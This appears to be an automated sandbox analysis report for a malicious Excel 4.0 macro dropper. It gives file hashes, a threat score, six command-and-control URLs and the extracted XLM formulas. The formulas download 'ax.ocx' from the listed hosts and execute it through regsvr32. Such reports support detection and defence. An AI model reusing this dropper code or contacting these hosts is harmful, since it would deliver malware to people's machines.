2ba3a730ce96a7ada9ab94f9971f86f62a8615a508db1656a574491008b1e867

General

Target

2ba3a730ce96a7ada9ab94f9971f86f62a8615a508db1656a574491008b1e867
Size

48KB
Sample

241120-nrkdgawmhz
MD5

15d3ccfe19f1b608a6157ce0ef22c21f
SHA1

09171f50a096b0cacfe90cddbfa236655da556fa
SHA256

2ba3a730ce96a7ada9ab94f9971f86f62a8615a508db1656a574491008b1e867
SHA512

181538b96b487cfad364b0ca075b2b65fc99f2fa14eea217660073ef58b3162cc9093a5b3017798c2193e02e4d14b6fe17c570587ff7bc6ed1d309abb0782a99
SSDEEP

768:zO+CAEWvxRc3mlkKDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0AOBAa:z7O2b8QkKDNck01u/R2rZyjtBl

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://suleyera.com/components/CNGhltc5v2K6/

http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/

http://moveit.savvyint.com/config/DsfssbO7BYG/

https://schwizer.net/styled/D0MG/

http://shabeerpv.atwebpages.com/css/ww6if1YAsMpjpuGz/

http://shimal.atwebpages.com/wp-content/xkaRkHr/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://suleyera.com/components/CNGhltc5v2K6/","..\ax.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/","..\ax.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moveit.savvyint.com/config/DsfssbO7BYG/","..\ax.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://schwizer.net/styled/D0MG/","..\ax.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://shabeerpv.atwebpages.com/css/ww6if1YAsMpjpuGz/","..\ax.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://shimal.atwebpages.com/wp-content/xkaRkHr/","..\ax.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ax.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://suleyera.com/components/CNGhltc5v2K6/

xlm40.dropper

http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/